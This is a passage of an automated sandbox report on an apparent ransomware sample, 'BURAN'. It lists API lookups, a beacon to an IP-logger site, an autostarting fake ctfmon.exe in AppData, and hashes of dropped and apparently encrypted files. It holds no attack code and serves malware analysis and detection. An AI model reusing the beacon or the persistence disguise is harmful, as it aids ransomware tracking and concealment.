Get Address c:\windows\syswow64\oleaut32.dll function = VarDiv, address_out = 0x75c15800 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarIdiv, address_out = 0x75c161a0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMod, address_out = 0x75c16400 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAnd, address_out = 0x75be3200 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarOr, address_out = 0x75c16610 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarXor, address_out = 0x75c167b0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCmp, address_out = 0x75bd60b0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarI4FromStr, address_out = 0x75bd6ec0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR4FromStr, address_out = 0x75be3010 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR8FromStr, address_out = 0x75be3630 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDateFromStr, address_out = 0x75bd8b90 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCyFromStr, address_out = 0x75bc2d90 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBoolFromStr, address_out = 0x75bd48f0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromCy, address_out = 0x75bd7f50 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromDate, address_out = 0x75bd89c0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromBool, address_out = 0x75bd48a0 True 1
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (173)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 155
Fn
Sleep duration = 0 milliseconds (0.000 seconds) True 1
Fn
Get Time type = Performance Ctr, time = 17938820285 True 1
Fn
Get Time type = Performance Ctr, time = 18024824599 True 1
Fn
Get Time type = Performance Ctr, time = 18024839324 True 1
Fn
Get Time type = Performance Ctr, time = 18024845497 True 1
Fn
Get Time type = Performance Ctr, time = 18024852265 True 1
Fn
Get Time type = Performance Ctr, time = 18024858263 True 1
Fn
Get Time type = Performance Ctr, time = 18025268265 True 1
Fn
Get Time type = Performance Ctr, time = 18025275035 True 1
Fn
Get Time type = Performance Ctr, time = 18025281162 True 1
Fn
Get Time type = Performance Ctr, time = 18025287191 True 1
Fn
Get Time type = Performance Ctr, time = 18025293377 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String name = TEMP, result_out = C:\Users\FD1HVy\AppData\Local\Temp True 2
Fn
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 135 bytes
Total Data Received 606 bytes
Contacted Host Count 1
Contacted Hosts 88.99.66.31
HTTP Session #1
»
Information Value
User Agent BURAN
Server Name iplogger.ru
Server Port 80
Username -
Password -
Data Sent 135 bytes
Data Received 606 bytes
Operation Additional Information Success Count Logfile
Open Session access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = iplogger.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = http://iplogger.info/1jqu87.html, accept_types = 0, flags = INTERNET_FLAG_IDN_DIRECT, INTERNET_FLAG_IDN_PROXY True 1
Fn
Add HTTP Request Headers headers = Host: iplogger.ru User-Agent: BURAN Referer: E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = iplogger.ru/http://iplogger.info/1jqu87.html False 1
Fn
Process #7: ctfmon.exe
22414 2
»
Information Value
ID #7
File Name c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe
Command Line "C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *
Initial Working Directory C:\WINDOWS\system32\
Monitor Start Time: 00:03:01, Reason: Autostart
Unmonitor End Time: 00:04:51, Reason: Terminated by Timeout
Monitor Duration 00:01:49
OS Process Information
»
Information Value
PID 0xd34
Parent PID 0xa18 (c:\windows\explorer.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level Medium
Username NQDPDE\FD1HVy
Enabled Privileges SeChangeNotifyPrivilege, SeCreateGlobalPrivilege
Thread IDs
0x D38
0x D5C
0x D60
0x D64
0x D74
0x D78
0x D80
0x D84
0x D8C
0x DAC
0x DB0
0x DB4
0x E04
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
ctfmon.exe 0x00400000 0x00439FFF Relevant Image - 32-bit - False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\FD1HVy\Desktop\-IU8WGmE.avi 41.10 KB MD5: 92f846b85c667a5e210d1427f1acbd3c
SHA1: ae3f8b3dbfd2e4143a27af11861ffb4e0e7fefe0
SHA256: b51f766d64bba6bc6de190d0e19a4410e7d70ff0f979e6ea15db471f51264e2d
SSDeep: 768:k7/9TMGf4wnGLvX7OYCy0AN8YL6n3i55AUwLR8HioCidDPepSS00jnr8u:kxMRLKYCytN8liEf18HiYDOSS00jr8u 		False
...
C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv 100.67 KB MD5: 4d4f2faeb719f09678b9b52e8a239388
SHA1: ca809224ffa4380fbd081499459609b501d45874
SHA256: 0eee1f10c775846c5336f18d3fa22a58cc55307ba0fbde333b7588fa9febcd2c
SSDeep: 3072:n6lJ0JXLfOhBC+0MgkdpL9Ori0O1xWhxx:6leJWrnfL0xO1Ml 		False
...
C:\BOOTNXT.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 1.47 KB MD5: aae6d896813b7ba7f0dfb910226608d7
SHA1: 093e4d3f5345402b2311829e7fccf4a77958048e
SHA256: 5ef72713d7991b7b8ccbfe12a0fb3749f7ea56b106a1188b759fdd048c6a3ee3
SSDeep: 24:r44zEqh6CtrpWR3GYHvfcIgYOkTHvC36hoWOUzMGZPZmDC4RLbi90SdEG2Wk7l:r4cLZpgG4xgQTAGZQLXiuQih 		False
...
C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp 7.66 KB MD5: b327f98df929d9224e45584cefdd109c
SHA1: 6b403f49221153464b84d339f6247f218d882823
SHA256: 66b908011cd21c5020f8c5fb3f9d60f47421bd2ce5c81012fe754607807148c5
SSDeep: 192:jWojOr1/UHSh3HDx63WsO8R4vKeQYdZlcROX+:Sxr1uSMEKQdZiQu 		False
...
C:\Users\FD1HVy\Desktop\1nAU21n.gif 30.67 KB MD5: cf27592e9b89876e26a446a66e846406
SHA1: c19570f563006b5936c6ae5032564f66d87c38d2
SHA256: 67866fd85f730827d182f5d7706600e5ddf298740a127ad2afd296e362f1a437
SSDeep: 768:ZFdv1i6LbTlYCz2t8EmkjFt+swPAwTTK6Su:ZFLnjG5PMTK6Su 		False
...
C:\Users\FD1HVy\Desktop\1y GAOepHjz_GGuAnfUs.rtf 27.35 KB MD5: 26482064ea14f8e23e74ed2a6fe2644e
SHA1: 9b77b74e0693f5fff97e41a2c6eaf4129c045417
SHA256: 75c45f10a83104951975ebd73fee75d8afa021c755da0cd4ca37754beb87540d
SSDeep: 768:Zy9C9DZWAH1EIY4RneyVt2oe4bkwQFazSa2Nf1tFogUu:o9CLWE1EItneBoe4lYCZcf1tKZu 		False
...
C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3 14.94 KB MD5: a92145e5ddfe93b45ece0d4ea8e525fb
SHA1: ee0f17c26c9f30daeeb29b7279723caae9bb24e4
SHA256: b41a4256fef97155734d387863b38da6d58f3ab93956296c726d1b95a8fa20c6
SSDeep: 384:rmpwbx6JwfRJz49xGSSOwREWi2U8t0gACDk4sAQu:Six6JwX0GJxvi295k4Gu 		False
...
C:\$GetCurrent\SafeOS\GetCurrentRollback.ini 1.61 KB MD5: f2e2ef436477d54769694d7abac962f2
SHA1: 6da50f2c02fe728d98d2909195cd19672a413a8c
SHA256: 5ce93fea86a35459e1750bc884a83f6a54d51cd9a4590f98c1044571147082d3
SSDeep: 24:BHm623MoVEeZ/+yR3oKJMCtrpWR3GYHvfcIgYOkTHvC36hoWOUzMGZPZmDC4RLbf:BrpuEM/LNJXpgG4xgQTAGZQLXiuQih 		False
...
C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3 65.41 KB MD5: eed29af8576f545ec3a6d63c63bbb48a
SHA1: 5ed1be3b7671d41b777f78bf2b4174a483729af8
SHA256: d801c82344743ad6c7696c99ba9e3fc670f257c4432ef1cbb28d2128a08eae7e
SSDeep: 1536:2VYivgz0yJX3SKAj9L6K7PXA7OzGzph51a6la9u:2UN3GjsK7PXA7Oc9dz 		False
...
C:\588bce7c90097ed212\DHtmlHeader.html 17.21 KB MD5: 079c0ae4ca228a1afa827d2fe1abcf7a
SHA1: 764833c6053d140813cbcdeb953605ca21e6c1d2
SHA256: bdee7883c97e13b30906228c5ef2c1c1bfda1eb2fb6985872fcffcf765bcb155
SSDeep: 384:lnWY90J3JmKB+lyDmtSrTgwAGui5Cu13j1e/1EDN5nhcXwQu:RWsOJtutSompCup1e/1ERgRu 		False
...
C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls 84.16 KB MD5: d90b30c7d212f12ef901d6ef06160c49
SHA1: 29b8d35b1edb74cdbb5635f02e40180cce67f063
SHA256: e80dd7a15ad31f9ed668e048032c648fa1cbae517e423a84d1456f721a0503d9
SSDeep: 1536:nRZv+fqGZXo1tMMQzTu/tYBP0HFHezyoKPFdvwSvfflrMGTHDAu:RZsEMxz6/tcaHezyddvD3NrFTHDf 		False
...
C:\588bce7c90097ed212\DisplayIcon.ico 87.92 KB MD5: 42928b77016f07a70e39b46760b5f97f
SHA1: 800468d3c2263e75481919c9baa4204b6059954f
SHA256: 51d6c9a317392917d514ee0c8d76a25e366c6a6f8d2de62e7b6c46d5b6829e54
SSDeep: 1536:srWY/JYzEGVzYrU8NVpL3qVhG844DkCouMALold/naRrNnFAEqxnEu:CW4GVzYYwVpbgP4sJI3K2E0z 		False
...
C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods 35.91 KB MD5: 56298e189c01a09da80a4edd36d4414e
SHA1: 2a792fcbebc42315e5abe851239c07c53c9ad228
SHA256: 0f0f1ee56d43864e148b32c32686377dafda05b71600c87cb8f2f41ca6eceac8
SSDeep: 768:M95M72z8A8JWtNlELPrNugyKJfb58kelAG84ESySQrG66XnOkxr9LYMu:MrVt8JW/SCWfbQlZESy8XOkxFYMu 		False
...
C:\588bce7c90097ed212\header.bmp 5.00 KB MD5: 5c723559e96aef78a693f433f1b6686f
SHA1: 16b630688f7aa6ece7d2849590ab59f8c6229f59
SHA256: c857c837efaac0e8d3590b3c07545ea36fdcaaefd0f3592e4d59332b0dd20fbb
SSDeep: 96:yqLBohbI8hMqHH6YkFcoB6yoaoqEMR5XUBlNpSxNOu+GOgQgk+:yqqhbI8hvHoPdoqZ3XccROX+ 		False
...
C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots 12.35 KB MD5: b3d74df54996a01419ff55af42150cd4
SHA1: a7cc67e616e8fccafdad5328527a8cce260799ec
SHA256: 09ae7f4f1f8a279702452c80231e4937b9a001e3bd4ed6999090dbfaa4e6fcda
SSDeep: 384:vZ7PX+4NSdyra5tcZpBsvGpURk0W1gq12Qu:R7PXjNfa5tYpivGpUrcJu 		False
...
C:\588bce7c90097ed212\netfx_Core.mzz 173.08 MB MD5: cbe34befba85e6cf1c7e6b101c7f93a7
SHA1: 040962125c722940ba6ad45c320e523d41198715
SHA256: fc17786500498273c55dc6893afeeff7f6d25729857256f88982d32e2ac604ac
SSDeep: 196608:98V04YyKSBXZ35w+KBK2KJKDcloT46ooP8ZNoz+hK12RP1O7lT:9l4Y7qZ3CwFISoT46ooP8Zyz+hm6Mp 		False
...
C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3 37.28 KB MD5: 0603f0793f00428a64732918f19cb61a
SHA1: cd093894e61810226675fc24f2b37cc8ade3e6e6
SHA256: d3f2a3f8466e7fcd4a25c9b24abfa6ecf3b00bcad273a5633521a187170a668e
SSDeep: 768:pupksY9UopAYzvlhPinnSV35p00Vo20Sj5FbloGUAgT9ew9eESqKu:GbY9U6hiSJ5pdo2hj5FblsB9eNZu 		False
...
C:\588bce7c90097ed212\netfx_Core_x64.msi 1.82 MB MD5: 48224ea59b9642a881ff26c1bf751bf8
SHA1: ddc5016dde81b225dff7e6e7cb9ef0e37a44f009
SHA256: 954a73b0466274f74214ae2da05fc43932fe9e841ece24d9e3ccb4422746fc50
SSDeep: 24576:VbA1WOc0c+BQbPyxbs4rONSnfiPBC6xahsovoMfjhOGxZWxw0l:gcxisfQf2M6FGoMLg 		False
...
C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg 81.63 KB MD5: aa3ba705620468ab197690c5ebcd908f
SHA1: fd7a89af9db3579fd79af99c714bcc19ffa8e300
SHA256: 7c6ce0c73db1a3b0adf4d005127c2b1da31fb22cab59955655efe7e45106324f
SSDeep: 1536:JS/CBUt2nJcju8Qoayb+oQEWv4k2FsvwpXITR6Deqtu:M6jcju8QAtFkvvwlIYC7 		False
...
C:\588bce7c90097ed212\netfx_Core_x86.msi 1.11 MB MD5: 3f82ae61fe9632ecbbb3c13aabf8591b
SHA1: cae5cad8f05e00fa04055ce96e3b27460112d45f
SHA256: 5a870542a4d71f162526ce9bea2e4d16cf560d746b83f5bb2588bdf27e36f6b0
SSDeep: 12288:tFCQWAA6jO19ACqPL4+hCZ+VkjabDTnxTR8QFqwSOTcnu9ikfdt6TJ6PuX3BdB1:tFCQe196PL4YwabPx9bswH/fd6pxr1 		False
...
C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg 96.17 KB MD5: 16ce831bd77553a7dafd156811f2a0c1
SHA1: a25ff9da8463e845fac67db4e4bd49037e4aa2a3
SHA256: cdee0c15df1b84461d06e61d78934a324822b619b443652024f2c06d533920b0
SSDeep: 3072:Y2wzNScG7uJg0VeKN+OULokPYubDINI51kseGCw/LuA:N4g0VeKNzULo6tPINmknGVx 		False
...
C:\588bce7c90097ed212\netfx_Extended.mzz 41.14 MB MD5: 5630fc8e772c2b375cdb5fad2bd1ecb9
SHA1: 4bceb5f175b78cac39cea252fdcf48751a26c9fd
SHA256: 59ef5e9508570a30684a6a479a9808a0680fa9fcf5678f2fc1bfdc8e036815e8
SSDeep: 49152:mMmCAJcpSdqU6tLnvVqSK5G22mDgBOOmeGGiU9Erqkbnt7QTr5+Oc2EI+8dd0ZwR:XJAktZKH2mALErq2nt7rvfI+vZpfQ 		False
...
C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi 51.94 KB MD5: 67a93ebd3fa8625ee75dec4caaecaf94
SHA1: 674d4fb40284268024849256c20e41eae8229021
SHA256: 08106ff1f468e3b55cf4fe4fca2aa1f0893cb679a454eaa25718b5311c4d8c53
SSDeep: 1536:DSx6cG7DWs0BMtEPQJK9JznMPbLHazIZFlsrS5T6jVu:DSxp2wM1oznEIYFlsrMaM 		False
...
C:\588bce7c90097ed212\netfx_Extended_x64.msi 854.43 KB MD5: 57ab968b26a3a8d43c3c4676a2ae176c
SHA1: 9466b67df5426fe4466dce7888d7d84153b3ac19
SHA256: 2d4e4d3cf40b539070f65204752df55107d3e0c495ca65886948441f0caf8646
SSDeep: 24576:0EHnk7Akl3aOvQucqGRpOQSpKiPBD6txBkkkkk5SVL:bnkMkl3Bbc4Fc216XmSN 		False
...
C:\Users\FD1HVy\Desktop\Cc1dWs.flv 23.17 KB MD5: e202f207ce8919ccb44bb56e162bc379
SHA1: 168ad4739b6ce70c0f8ecda22ad85e0e4b45ad99
SHA256: 8e4c09ebc14ba24d3861c75370886e5241af41a8a520f4cfc3c328eeeb809cea
SSDeep: 384:T9vw30k3JKTqHINVqf4fmJ2tR66xPt7Amw1cr4mJKw8w7dimfkwwtQu:TNwEk3IqHIzqf4TtR7xF8b2bJKwtUm/u 		False
...
C:\588bce7c90097ed212\netfx_Extended_x86.msi 486.43 KB MD5: 834088bf6a10c0cd34f93f8f17d18a14
SHA1: a89cde93fb025d8e4e68c53e3caf9f799a9dcc82
SHA256: 81e31991a0f38caf26cac621b5f918685b75b4ea78b464d185b7900768182c7c
SSDeep: 6144:DSkLLVBM7u4r298vjBvVK5h+Ek50/cHafPbl3JJFTSJwjZSBVv+lYjsm6FBQ0ssL:GAM/r2YBdKf+EVbfP53LvZ+VhjErt 		False
...
C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif 54.52 KB MD5: 634d9da27c54104627565a9d1e7f0a5d
SHA1: 45f4a4f686368341e9773e6639b86c5c9b7cf35b
SHA256: c4a04dd30b01783d1c14ba14d283bc9e025d52621b4d86df61832e9a25f9f57c
SSDeep: 1536:+FkZCVkNO1WrNzqFqWZQxuZ9hMK7koROQu:tZC5AoQqYKdAv 		False
...
C:\588bce7c90097ed212\ParameterInfo.xml 268.10 KB MD5: 5baa4cc615ae1ee93be261c201f7e9aa
SHA1: 0c9d4aec17a94ce84d75b719262485a80567016c
SHA256: ec9bc6a2db6690a9a1aace2e182e43af24cc096480b2ef3cfbd6ebdfbe653add
SSDeep: 6144:Ll8HRpzGOXZ2Xv/ZmTJnXXt4R0DXhaa+Su0Xidgc+s+B/:LyHRpzGqZmJmJX9A0bhaTvf+B 		False
...
C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi 32.05 KB MD5: c1b44e90dd7a512a77943d3842c4b419
SHA1: 8f4039129687aff0513a6f31d31493311a2f60cf
SHA256: b07ee3446e87688a304fe30e721b1581e6a1d90caf82779dc64bb94e9a99d4ef
SSDeep: 768:zIk8r5EDe9qtKOAP4xJKG5QswG5WZYtReTBUK2mAXBmPSa4++dtu:zXYEDJ91S3tGQtTBamAXBPvzu 		False
...
C:\588bce7c90097ed212\RGB9RAST_x64.msi 181.97 KB MD5: 76c5bfbb16f21d92619ca30aab99c664
SHA1: d8a7dbab89d5ec439281eadd2ea04b4441677e8f
SHA256: cfb022fa14363353c72a6733cf3acfc9a0ef92013400501dbe5aaf068e850bac
SSDeep: 3072:WCc35epDmtrT6sukbN1I1a8fc8JWQO5+kOdg79PSj6j18E2LQ0IA:Lnlm52mBeaSJWQOcilSjPEoIA 		False
...
C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png 62.22 KB MD5: e63d2b36e1852db85da769dd8d953b98
SHA1: 1e0a11721172dc9b3d10f4e43e5d9bfd0a39f28c
SHA256: 09fa1e3e997bf20016f440a2a89c04a3a6b599b65d3db45a0bbb1cdd56f8ff42
SSDeep: 1536:eJ2PAWlwnWrCWQ6iDqjNmNQWyDU4l3tNVwe+p2hC55PnRu:mtWuWrCZ6iFNngLl9NPQ5P4 		False
...
C:\588bce7c90097ed212\RGB9Rast_x86.msi 93.97 KB MD5: 200958225faf90dca7cec0df16398030
SHA1: 3ce1f273cb1d6157757e9223e792a297e940d42c
SHA256: 98d9ca88715cf8bb9673c2181fe58038dd3e3573486c693e05fc87ff858d680b
SSDeep: 1536:yOWJ4q6hZR7E6uYgVAnUgCYX+BOfk59Lhi9cXqUxO5f9iaDpuvlS/7VgsQAVY6Su:yOW+XhZEYlUgCYX+Bt3kWqYAfU6pUUBD 		False
...
C:\Users\FD1HVy\Desktop\Eezf.mp4 27.94 KB MD5: 433b1fd1ba48004c8942c0b599c726fa
SHA1: 53ce9b3018d05e28979e9d84171580900ed39de3
SHA256: 9f22da434ee612a019aac080e7ec62859ca12bb9116dcd2093ba5dc0e465aef9
SSDeep: 768:TbYkyVJd/Du0qDsjXlMo/HvaXwMeG3xghn2+LtvOu:kPDMDiB/HvAwvGBgl2+Lt2u 		False
...
C:\588bce7c90097ed212\SetupUi.xsd 30.88 KB MD5: b771bb534d811d7983cb3262e62803c6
SHA1: e68d0d28bba9cf305c08d23be61a92657442fd07
SHA256: 39f5be9f82c8f736bfde6458859b422b745e74f2112c29c906df8879279d57af
SSDeep: 768:EnPmeZbEMTUt3vw1J9K2Gli4xVms6ywcHJUdau:EPmeiM0OJ9K5tLRHtu 		False
...
C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav 70.25 KB MD5: 02ea3f79a9916e969964f73f02c5e384
SHA1: 65498e452b3a3f9ef18f7bf87072b59512a99eed
SHA256: 279bf165cc6a150d030a60508351b2115147ba25ff46869f74cb2ac89ea983bb
SSDeep: 1536:+y3PbCOYlOD5MBtYz4iTMwSqsAyMKG2QYfCBh3yc/zOBpxu:+y3PbCOYlm5M0z4iZ9su9e6dqzY 		False
...
C:\588bce7c90097ed212\SplashScreen.bmp 41.58 KB MD5: a6667d5a74281adb42990974197b4a13
SHA1: 7c6240d272ef72663b85067bc4a15997739afc09
SHA256: fa7263217f0c645d8dca6dddf6ac8e361f0a152fbaab6ed6165c3b4438d73d40
SSDeep: 768:TSEEApiU5WdXn9OTSo6ZuRF9mwIJzwjDmVDIfNyOtu:diU5rTSojLmr5wvm1IfNfu 		False
...
C:\Users\FD1HVy\Desktop\he_DSG.swf 44.22 KB MD5: 20726cb07b2c286a01236094247eeae9
SHA1: c4651748a5fd13bda5f9987ebaf3f3439b7d985f
SHA256: d1131c805be4b0a45fbc8bee0a5e50d592e0c8550b79ec05a6b1f839a0b8607a
SSDeep: 768:gEJeCySfjR+ZoUyBWmMsGSxWsChEy5GI6ebRlTnDQ0ytfaJKb79b/TmVvEb5tvDU:giVV+CUyIsaEyftbRlTnDOkKf9n6otvg 		False
...
C:\588bce7c90097ed212\Strings.xml 15.22 KB MD5: 0047ce90d7ca239d6f8cad7f00b08eb9
SHA1: a166cebb0d39059f6f5a34d6e7f7064eeeca073e
SHA256: 20cd0fb8eedbf866f0ef01d44d5253c4cff18ecae61f55d7b6e96d9c01279817
SSDeep: 384:x6kd6q9bljrCT0KOkIxLkz8AiHayPQqHaPE+lYZ6W7Qu:j9bVCTEBkzziHayN2EkY4Wsu 		False
...
C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc 63.22 KB MD5: 02629dea30ca15f57b5ac8c473b5b5d2
SHA1: fef5df745624fb1e3a37c491fb32200488a92e43
SHA256: 5a3aac6332d9c57a9b284af9d78384e05e4f654d930af0414a7b7337fd262388
SSDeep: 1536:xy2zjnrA3NU4IzYtpxHbH1d2PeGp80OIS4iZZxbZFAwYu:xyP3NUvzypx7Hbejp80OIS4iZ7tr 		False
...
C:\588bce7c90097ed212\UiInfo.xml 39.46 KB MD5: 41fca72a73d6022e42752739dceff52d
SHA1: fac77a74d7b82ed8ce0f1688c2908b0149208053
SHA256: 6ea07e85414666ede3982c6e12a4d44f240b67e50e56b8419c77160435c225c0
SSDeep: 768:T+WWzOVdMazHz2bgn8hB9my4mZqEy3AqzoIMMFYJMBbL2bcu:gmMyzn8r9j4TAfMF26ygu 		False
...
C:\Users\FD1HVy\Desktop\K2N8lD.swf 100.39 KB MD5: 83e3649f6d24def478c0baa7260c9a11
SHA1: 3603d9a242d793b89b20cf97ccd14763d2715d4f
SHA256: 31e1e9f7ba8890c586792df12649acb2ff09ec4f3d463f22c0d299e5db7f6e05
SSDeep: 1536:+UYAYT16i+y5c8l++T8P6MMWyIHg50hdc8MhthEI35U0aezfrS+tysvStpxJb3u:+U5q95c1x6NWyU/h5G5U0aezjS+slXS 		False
...
C:\588bce7c90097ed212\watermark.bmp 103.10 KB MD5: f2dd1f563644d2a788b546461084cc7f
SHA1: 68114a8bab7c1ff1a0b80d04a46f7356fb2f2718
SHA256: acf4ae44d8e18afeb523b9c7c104c7dba6e2fd7cef8d29424a757fbae66385ed
SSDeep: 3072:gu6wQJ7zgIrswElhhsPUbJP1/nt4olSHY0:GZR8csth+MbnV4YSHY0 		False
...
C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu 4.96 MB MD5: 7eabef10631ee931f2e051eb1434711f
SHA1: 5a6b17f9318213c8974ed73f60d45a1b333be775
SHA256: bb3adbc71cc9c32875b42d20cfbe0f72cc67b70a9dbc86a2f062e94051721953
SSDeep: 98304:JeQpOfvuEAUjX57BkOKxUKnat45mFe4H5+Ju4JKUYc93iKlOKJhlj:ktX3ZBkOK2Knq45mY4H5OMKkKzlj 		False
...
C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf 69.24 KB MD5: 9744daf6a50bcbd27e070d7b93770eb2
SHA1: 61ec10baf39e3c596bca909014d28272b256a79c
SHA256: 0ded16d0dafc4dd41a49977f43d0b9078694466e103006f9406820b7e5567a92
SSDeep: 1536:SECKn4iMggLmmmgo6j4i6ycohnUJBwGMZj9hiE+i3AaBjfVt0S/C0u:SsvgLmTUjTBcohnUJBZ8je61fVtKj 		False
...
C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu 2.09 MB MD5: 403fd3f0e759bf39df1aec04fcf6a091
SHA1: 7909c9cd0fd89f4aff81d729fb589ce3d30983fc
SHA256: aa08c01acdc3f3c4719c5fb77a0a9821bccbf72fbd8aa8d73fd1bd3fd66abd29
SSDeep: 49152:Gn6NyxV4YaG7T2DumT1r7AdXZy9KU2KUYxs35DKZ3OIKxWh0e1:Z6V4YakTo1PAdXZzKUYxs3pKZnKxfe1 		False
...
C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt 22.08 KB MD5: 1ea83511ac665cba04579f5c568b4229
SHA1: 36cfb1749dda55109a5005f592d745c0aed021d1
SHA256: 3ce1d68a91fc39fc36d4575fbc89b59b6f7db951785481191fcc25d0acab2648
SSDeep: 384:+OpLwiD/w/RSZBe5vZtI1JbssjMq0nDcAJfgmMO+A2FNEmemvQwLLWDIQu:5pvM/R8Be5HiJxjMLwiWNEm/QcM5u 		False
...
C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu 4.86 MB MD5: 1fd088e04a86b81b2beb792ec560e9a1
SHA1: 22821524fe3e4020186638083f431e330a193dac
SHA256: 816abf38209d853f9f74824fb5f2d9c84155f6e80259fb8b0105933250b545be
SSDeep: 98304:qBpWf0pKy/aBHTKYzKXH54UuFe1kBpHua/KUKcs3DKVDK6rCs:d7BBHTK8KXZ4UuY1kB1iKFKmt 		False
...
C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv 80.41 KB MD5: 6b2f0fb86e5e3ca11a743d77b3a3c1a8
SHA1: 81d48702c842320a759c6b17b4050b584ed13583
SHA256: fea2a3e530940e5e2fcbaae597518052426b793b76e7abf0912f2ea08a972291
SSDeep: 1536:KeEhc01ifJBH8b6KqPbpjvGgKIEHM9ULTPYEHsBU6/jCNu:KeEhfGBHdfbpjvGgK1HMk0XBUQjC0 		False
...
C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu 2.04 MB MD5: 72816e0d75e13c38705f6320dbb8bfa9
SHA1: fb4b3165b399388a02c0a2c1e74f73729e140ac7
SHA256: 968d04a0f930f6fbd51ffcba193164e890cfaae6c78a152360a4c43f191f96c1
SSDeep: 49152:V0qfQFZtrJ6EeaDuv7GuMRau8yuXQFKUYcs3HVKf3rhKzdNw:uqGrJneDGnRau84KUYcs31KfFKzdNw 		False
...
C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv 43.58 KB MD5: a0b0234d2a6d68df561eb3b0a146cffe
SHA1: 30ed007474dda5e71f113c893d64563f6465e8f1
SHA256: ec0f1b8654cd9575fc3b1a07565efc58482d65e84a5bcac310d1df50ce6f3506
SSDeep: 768:9k081Ln0EtcI6t5s0ZK4B71GXTv37Ax3/SZPk+cFRsuTWLiRbnsMbJRQ4I07XxV0:u31Ln3c75sixe7Uh/SUFRswRZVQTKu 		False
...
C:\588bce7c90097ed212\1025\eula.rtf 8.86 KB MD5: e71fba31c1bf3815c3d2e74252f5fecd
SHA1: f07621112477c7e5aa5906e63e21202ba79e6361
SHA256: 26c17d5971c306b6cfda46b867d9e7862b34d4b85f5ddc9e919ca8bad4a6b1c8
SSDeep: 192:SnAq6UOgPy/ilBNLrVMVlgOxDkplgJ40p1dz3afFkg7ROX+:Sd/Ry/izqlgOtkpK4+dL4FPQu 		False
...
C:\588bce7c90097ed212\1025\LocalizedData.xml 73.94 KB MD5: 00a9da326ebef67894086a16fded1c8d
SHA1: ba943877681f96e697291a2da3b0eb9ba43473cb
SHA256: 1a414b3f460aeb500b1197705ed1b0e3fff2a588e2ff3e48ee0eb2d332e6024d
SSDeep: 1536:S3nT5sIRe5NJxKJ3MjcazuSAR8hvlHEZVtECrWOBm3glu:WxUN+h8l6Sg8plHEZYCib3gc 		False
...
C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf 39.24 KB MD5: d5987d3bb3e153eff38c2949418dbf27
SHA1: c8c9151a19d6647e6362e844b9c59a7a8615ca38
SHA256: 4b673280191b06c1a8368cbceae6b854e48d3990b206e6ab9d9bc1b1c4c1c65d
SSDeep: 768:WrEegNNOdYIoN4NXHlt+Df/j83fmFB+4ifnVQDUKvsiZJp1cG90X6mOXmmIknyrh:LeiNOVg4NXiDnI3fmH4VgUjiPp1cGI6W 		False
...
C:\588bce7c90097ed212\1028\eula.rtf 7.63 KB MD5: d8708a64981c11322cdddf4415b9ea80
SHA1: 0a44e8d7aa074a61a093087b5ee296293c4395af
